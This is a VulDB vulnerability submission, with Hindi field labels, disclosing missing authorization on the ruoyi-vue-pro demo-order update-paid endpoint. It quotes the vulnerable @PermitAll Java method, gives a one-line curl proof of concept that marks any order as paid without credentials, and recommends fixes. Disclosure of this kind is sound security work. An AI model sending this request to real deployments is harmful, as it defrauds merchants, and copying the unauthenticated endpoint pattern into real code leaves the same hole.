| शीर्षक | zhijiantianya ruoyi-vue-pro 2026.06 权限许可 |
|---|
| विवरण | A missing authorization vulnerability was discovered in the PayDemoOrderController update-paid endpoint of ruoyi-vue-pro (yudao-server). The endpoint is annotated with @PermitAll, allowing unauthenticated users to mark any demo order as paid. Although the code comment states "security is verified internally by PayDemoOrderService", the Service layer performs no caller identity verification.
Vulnerable file: yudao-module-pay/src/main/java/cn/iocoder/yudao/module/pay/controller/admin/demo/PayDemoOrderController.java
Vulnerable method: updateDemoOrderPaid() at line 49
Vulnerable code:
```java
@PostMapping("/update-paid")
@PermitAll // No authentication required
@Operation(summary = "Update demo order as paid")
public CommonResult<Boolean> updateDemoOrderPaid(@RequestParam("id") Long id) {
payDemoOrderService.updateDemoOrderPaid(id, true);
return success(true);
}
```
Affected endpoint: POST /admin-api/pay/demo-order/update-paid
Proof of Concept:
```bash
# No token required, direct call
curl -X POST 'http://target:48080/admin-api/pay/demo-order/update-paid?id=1' \
-H 'tenant-id: 1'
# Response: {"code":0,"msg":"","data":true}
```
Verification results (dynamically confirmed):
- Unauthenticated access confirmed (only tenant-id header required)
- Endpoint can be called externally without any credentials
Impact:
1. Free payment: attacker can mark any order as paid
2. Business bypass: bypasses payment flow
3. Financial loss to merchant
CVSS 3.1: 8.1 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Solution:
1. Remove @PermitAll annotation, add @PreAuthorize permission check
2. Or verify caller identity in Service layer (only allow internal payment callback) |
|---|
| स्रोत | ⚠️ https://github.com/YunaiV/ruoyi-vue-pro/blob/master/yudao-module-pay/src/main/java/cn/iocoder/yudao/module/pay/controller/admin/demo/PayDemoOrderController.java |
|---|
| उपयोगकर्ता | liuyulin (UID 100186) |
|---|
| सबमिशन | 29/07/2026 03:48 AM (2 महीनों पहले) |
|---|
| संयम | 24/09/2026 01:34 PM (2 months later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 409332 [YunaiV/zhijiantianya ruoyi-vue-pro तक 2026.08 Demo-order Payment Callback PayDemoOrderController.java updateDemoOrderPaid पहचान अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|